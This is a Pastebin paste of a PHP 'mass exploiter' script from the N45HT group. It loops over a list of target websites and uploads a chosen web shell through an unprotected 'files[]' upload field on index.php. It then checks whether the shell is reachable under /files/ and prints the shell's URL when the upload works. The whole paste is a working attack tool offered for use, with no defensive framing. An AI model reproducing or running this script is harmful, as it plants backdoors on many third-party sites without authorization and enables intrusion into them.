choirurrizal

Mass Exploiter Array Files[]

Oct 6th, 2017
787
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.86 KB | None | 0 0
  1. <?php
  2. # ShinChan - N45HT - N45HT.WEB.ID
  3. # fb.com/angelia.put - fb.com/ShinChan.admin - fb.com/N45HTOfficial - fb.com/groups/N45HTOfficial
  4.  
  5. # your list.txt must a single directory with this exploiter #
  6.  
  7. echo "
  8.  ___  _  _  __  _  _  __  _  _   __   _  _     _    _  ____  ___
  9. / __)( )( )(  )( \( )/ _)( )( ) (  ) ( \( )   ( \/\/ )(_  _)(  _)
  10. \__ \ )__(  )(  )  (( (_  )__(  /__\  )  (  ___\    /   )(   ) _)
  11. (___/(_)(_)(__)(_)\_)\__)(_)(_)(_)(_)(_)\_)(___)\/\/   (__) (_)  
  12.        Mass Exploiter Array Files[] - Coded by ShinChan
  13.  
  14.     Thanks to :  PETR03X - Comod0x - Grav3 - SCYTHE404_LOL
  15.                        All Members N45HT
  16.  
  17.  
  18.  
  19. ";
  20. echo " Enter your list  : ";
  21. $list = trim(fgets(STDIN));
  22. echo " Enter your shell : ";
  23. $shell = trim(fgets(STDIN));
  24.  
  25. $open = fopen($list,"r");
  26. $size = filesize($list);
  27. $read = fread($open,$size);
  28. $lists = explode("\r\n",$read);
  29.  
  30. foreach($lists as $target){
  31.     if(!preg_match("/^http:\/\//",$target) AND !preg_match("/^https:\/\//",$target)){
  32.         $targets = "http://$target";
  33.     }else{
  34.         $targets = $target;
  35.     }
  36.    
  37.     $vuln = "$targets/index.php";
  38.     $getshell = "$targets/files/$shell";
  39.    
  40.     echo "\n\n Exploiting : $targets";
  41.    
  42.     $ch = curl_init();
  43.     curl_setopt($ch, CURLOPT_URL, $vuln);
  44.     curl_setopt($ch, CURLOPT_POST, 1);
  45.     curl_setopt($ch, CURLOPT_POSTFIELDS, array("files[]" => "@$shell"));
  46.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  47.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  48.    
  49.     $post = curl_exec($ch);
  50.    
  51.     if($post){
  52.         $cek = curl_init();
  53.         curl_setopt($cek, CURLOPT_URL, $getshell);
  54.         curl_setopt($cek, CURLOPT_FOLLOWLOCATION, 1);
  55.         curl_setopt($cek, CURLOPT_RETURNTRANSFER, 1);
  56.         $response = curl_exec($cek);
  57.         $httpcode = curl_getinfo($cek, CURLINFO_HTTP_CODE);
  58.        
  59.         if($httpcode == 200){
  60.             echo "\n Success    : $getshell\n\n";
  61.         }else{
  62.             echo "\n Failed\n";
  63.         }
  64.     }
  65. }
  66. ?>
Advertisement
Add Comment
Please, Sign In to add comment